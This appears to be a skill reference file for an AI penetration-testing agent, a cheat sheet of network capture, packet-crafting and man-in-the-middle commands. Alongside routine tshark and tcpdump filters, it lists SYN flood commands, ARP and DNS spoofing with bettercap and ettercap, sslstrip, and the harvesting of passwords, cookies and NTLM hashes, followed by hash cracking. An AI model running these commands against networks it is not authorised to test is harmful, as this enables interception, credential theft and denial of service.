pentest-network

name	pentest-network
description	Network analysis, traffic capture, and MITM tool reference. Covers tshark/tcpdump (packet capture), hping3 (packet crafting), netcat/socat (connections), and on-demand tools (bettercap, ettercap, responder). Use for network traffic analysis, protocol inspection, and man-in-the-middle testing.
version	2.0.0
triggers	["network","traffic","packet capture","tshark","tcpdump","MITM","man in the middle","bettercap","ARP","sniffing","hping"]

Network Analysis — Tool Reference

---

Tshark — Packet Capture & Analysis

Live Capture

# Capture 100 packets
tshark -i eth0 -c 100

# Filter by host
tshark -i eth0 -f "host <target>" -c 200

# HTTP traffic only
tshark -i eth0 -Y "http" -c 100

# DNS queries
tshark -i eth0 -Y "dns.qry.name" -c 50

# TCP traffic on specific port
tshark -i eth0 -f "tcp port 80" -c 200

# Capture POST requests
tshark -i eth0 -Y "http.request.method == POST" -c 50

# HTTPS handshakes
tshark -i eth0 -Y "ssl.handshake.type == 1" -c 50

# SYN packets only (connection attempts)
tshark -i eth0 -Y "tcp.flags.syn == 1 && tcp.flags.ack == 0" -c 100

Save & Analyze

# Save capture to file
tshark -i eth0 -c 500 -w /tmp/capture.pcap

# Read and filter saved capture
tshark -r /tmp/capture.pcap -Y "http.request"

# Extract HTTP host + URI
tshark -r /tmp/capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

# Extract HTTP POST data
tshark -r /tmp/capture.pcap -Y "http.request.method == POST" -T fields -e http.file_data

# Follow TCP stream
tshark -r /tmp/capture.pcap -z "follow,tcp,ascii,0"

# Protocol statistics
tshark -r /tmp/capture.pcap -z "io,phs"

# Conversation list
tshark -r /tmp/capture.pcap -z "conv,tcp"

# Extract files from capture
tshark -r /tmp/capture.pcap --export-objects "http,/tmp/extracted"

# DNS query names
tshark -r /tmp/capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name | sort -u

# Credentials in cleartext protocols
tshark -r /tmp/capture.pcap -Y "ftp.request.command == PASS || http.authorization" -T fields -e ftp.request.arg -e http.authorization

---

Tcpdump — Lightweight Packet Capture

# Basic capture
tcpdump -i eth0 -c 100

# Filter by host
tcpdump -i eth0 host <target> -c 200

# Filter by port
tcpdump -i eth0 port 80 -c 100

# Save to pcap (analyze later with tshark)
tcpdump -i eth0 -w /tmp/capture.pcap -c 500

# Verbose with ASCII output
tcpdump -i eth0 -A -c 50

# Hex + ASCII dump
tcpdump -i eth0 -XX -c 50

# Combined filters
tcpdump -i eth0 "host <target> and port 443" -c 100
tcpdump -i eth0 "src <target> and tcp" -c 100

# Don't resolve hostnames (faster)
tcpdump -i eth0 -n -c 200

# Capture only SYN packets
tcpdump -i eth0 "tcp[tcpflags] & (tcp-syn) != 0" -c 100

---

Hping3 — Packet Crafting & Testing

Port Scanning

# SYN scan
hping3 -S -p 80 <target>

# Port range scan
hping3 -8 1-1000 -S <target>

# ACK scan (firewall detection)
hping3 -A -p 80 <target>

# FIN scan
hping3 -F -p 80 <target>

Firewall Testing

# Traceroute with SYN
hping3 --traceroute -V -S -p 80 <target>

# Fragment packets
hping3 -f -p 80 -S <target>

# Custom TTL
hping3 -S -p 80 -t 10 <target>

# Timestamp collection
hping3 -S -p 80 --tcp-timestamp <target>

OS Fingerprinting

# TCP window size analysis
hping3 -S -p 80 -W <target>

# ICMP ping with specific settings
hping3 -1 <target> -c 5

Stress Testing (authorized only)

# SYN flood test
hping3 -S --flood -V -p 80 <target>

# SYN flood with random source
hping3 -S --flood --rand-source -p 80 <target>

# Data payload
hping3 -S -p 80 -d 120 <target>

---

On-Demand Network Tools

Bettercap — Modern MITM Framework

# Install: apt-get install -y bettercap

# Interactive mode
bettercap

# Network recon
# net.probe on
# net.show

# ARP spoofing
# set arp.spoof.targets <target>
# arp.spoof on

# DNS spoofing
# set dns.spoof.domains *.target.com
# set dns.spoof.address <attacker_ip>
# dns.spoof on

# Capture credentials
# set net.sniff.regexp '.*password=.+'
# net.sniff on

# HTTP/HTTPS proxy
# set http.proxy.sslstrip true
# http.proxy on

Ettercap — MITM Suite

# Install: apt-get install -y ettercap-common

# ARP poisoning (text mode)
ettercap -T -M arp:remote /<gateway>// /<target>//

# Sniff all traffic
ettercap -T -M arp:remote ///

# DNS spoofing plugin
ettercap -T -P dns_spoof -M arp:remote /<gateway>// /<target>//

# Passive mode (just sniff)
ettercap -T -p

# With logging
ettercap -T -L /tmp/ettercap_log -M arp:remote ///

Responder — LLMNR/NBT-NS Poisoner

# Install: apt-get install -y responder

# Standard poisoning
responder -I eth0

# With WPAD proxy auth
responder -I eth0 -wF

# Analyze mode (passive — just observe)
responder -I eth0 -A

# Verbose
responder -I eth0 -v

# Captured hashes location: /usr/share/responder/logs/
# Crack with: john --format=netntlmv2 /usr/share/responder/logs/*.txt

---

Protocol-Specific Analysis

HTTP Traffic

# Extract all URLs from traffic
tshark -i eth0 -Y "http.request" -T fields -e http.host -e http.request.uri -c 200

# Capture credentials in forms
tshark -i eth0 -Y "http.request.method == POST" -T fields -e http.host -e http.request.uri -e http.file_data -c 50

# Monitor cookies
tshark -i eth0 -Y "http.cookie" -T fields -e http.host -e http.cookie -c 50

DNS Traffic

# Monitor DNS queries (what is the target resolving?)
tshark -i eth0 -Y "dns.flags.response == 0" -T fields -e dns.qry.name -c 100

# DNS response analysis
tshark -i eth0 -Y "dns.flags.response == 1" -T fields -e dns.qry.name -e dns.a -c 100

SMB/Windows Traffic

# SMB traffic
tshark -i eth0 -Y "smb || smb2" -c 100

# SMB file operations
tshark -i eth0 -Y "smb2.cmd == 5" -T fields -e smb2.filename -c 50

# NTLM authentication attempts
tshark -i eth0 -Y "ntlmssp" -c 50

---

Tool Selection Guide

Situation	Best Tool
Quick traffic capture	tcpdump -i eth0 -c 100
Deep protocol analysis	tshark with display filters
Port scanning with evasion	hping3 -S -p <port>
Firewall detection	hping3 -A (ACK scan)
MITM on local network	bettercap (modern) or ettercap (classic)
Capture Windows hashes	responder -I eth0
Extract HTTP credentials	tshark -Y "http.request.method == POST"
Monitor DNS resolution	tshark -Y "dns.qry.name"
Save for later analysis	tcpdump -w /tmp/cap.pcap then tshark -r